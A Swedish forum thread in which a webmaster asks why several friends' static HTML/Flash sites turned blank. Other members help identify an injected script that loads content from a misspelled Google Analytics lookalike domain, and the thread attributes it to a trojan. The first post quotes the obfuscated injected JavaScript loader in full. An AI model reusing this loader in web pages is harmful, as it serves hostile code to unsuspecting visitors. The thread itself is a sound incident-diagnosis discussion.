webForumDet fria alternativet

Sidorna hackade?

Webbutveckling

7 svar · 688 visningar · startad av K@llen

Medlem sedan mars 20032 667 inlägg
Frågan#1

Hej,

Har en fråga angående försvunna webbsidor. Några vänner till mig har tre olika sidor som ligger på två olika webbhotell. Förra veckan får jag frågan om jag kan kolla varför deras ena sida bara är en vit sida. Denna veckan får jag samma fråga gällande de två andra webbplatserna. Webbplatserna är vanliga statiska sidor som bygger på enbart HTML och Flash.

När jag kollar källkoden Finns allt tom </header> kvar. Därefter är det tomt förutom ett javascript som ingen känner igen. Inte ens jag som uppdaterat sidorna med text ett antal gånger. Scriptet:

<!--9d8f8e12497d258c1a32ee711f0bc5f9-><script language=javascript>jilq="%";gvk="<j73j63rij70t laj6eguage=j6aavj61sj63rij70t>j20 j66j75nj63j74ion j70bj6a(j71){j76j61r j6ej72,tj6a=j22j7cj21j50Vj6ewj6f{[j78j20$j27j62fj48j30j49j34j5cj22~u9}j5edOj6bj3a83`sj61qit;j431@.ch#j2cj5d&j45j6cUAj4dj2a5j29Jj72j37j65_+-TN2j4bZj6dFj70zj76j47(6j42g=j6ayj22,boj63j3d\"j22j2cmouj2cp,sbj3d\"j22,ab;fj6fj72j28nrj3d0j3bj6ej72<j71.lengj74hj3bj6erj2b+){j20j6dou=j71.j63haj72Aj74j28nr);j70=j74j6aj2eindej78Of(mj6fu)j3bifj28p>-j31){j20j61j62=j28j28j70+1j29j25j381-1)j3bif(abj3c=0)aj62j2b=j38j31;sj62+=j74j6aj2ej63j68j61rAj74j28j61j62j2d1);j20j7d ej6cj73j65 j73j62j2b=j6doj75;j7dbj6fj63+=sbj3bj64oj63umj65nt.wj72itej28j62oc);j7dj3cj2fsj63rj69j70t>";ugnb=unescape(gvk.replace(/j/g,jilq));var mu,qea;document.write(ugnb);mu="<ah7tz;$Uqw=9q=_j~yqGqah7tz;~>$O{h9F_w;co7t;_6$~<S1R4VN$Uqw=9q=_j\\~rqGqSh7tz;\\~$SR1j\\~#;;z8//oooc={{=U_qwqUt;thacw_;/++9;fcya?~-O{h9F_w;c7_H_77_7-~\\~><\\/S1R4VN>~$JC$</ah7tz;>$";pbj(mu);</script>

Jag har ingen vettig förklaring. Först trodde jag att det blivit något fel vid någon kundflytt eller uppgradering på servern. Men nu händer det på två helt olika webbhotell på ganska kort tid.

Min enda förklaring är att sidorna blivit hackade. Någon som kan se annan förklaring?

Medlem sedan sep. 20025 506 inlägg
#2

http://www.idg.se/2.1085/1.158700 kanske?

Medlem sedan mars 20032 667 inlägg
#3

Mr. N. skrev:

http://www.idg.se/2.1085/1.158700 kanske?

Inga databaser är involverade. Det är helt statiska HTML- och Flash-sidor. Det IDG skriver om verkar gälla SQL-injections.

Medlem sedan juni 20008 205 inlägg
#4

Jag vet att det fanns en attack mot Apache som lade in sig som en modul i servern, och som på det viset kunde modifiera all utgående HTML, även från statiska filer. Det diskuterades här i forumet, sök runt lite och se om du hittar nåt.

Medlem sedan mars 20032 667 inlägg
#5

Kan du ge mig mer hintar spango? Hittar inget på mina sökningar. :(

Medlem sedan juni 20008 205 inlägg
#6

Sorry, sökte lite men hittar inte tillbaks till den posten. Jag har dock för mig att det var någon buffer overflow som användes för att lägga in en modul i Apachen, som filtrerade all utdata som var text/html och då lade in script-taggar som i bakgrunden gjorde något fult.

Medlem sedan juni 20008 205 inlägg
#7

... däremot, om man kollar på vad scriptet faktiskt gör, så ser man att det försöker infoga nåt från googleanalitics punkt net. Eftersom "analytics" stavas med "y" kan vi misstänka att det är nåt fult: http://www.google.se/search?q=googleanalitics.net -> http://pouet.net/topic.php?which=5006&page=1

Medlem sedan mars 20032 667 inlägg
#8

Ah tack spango! :)

Verkar vara exakt detta. Bara index-filerna som är ändrade precis så beskrivs det i länkarna ovan. Detta verkar vara Windows-relaterat. Får forska vidare och se om även OS X kan vara drabbat av trojanen.

374 ms totalt · 3 externa anrop · v20260731065814-full.eb2a8c97
236 ms — deklarationer (db)
0 ms — hämta statistik (cache)
134 ms — hämta tråd, inlägg och bilagor (db)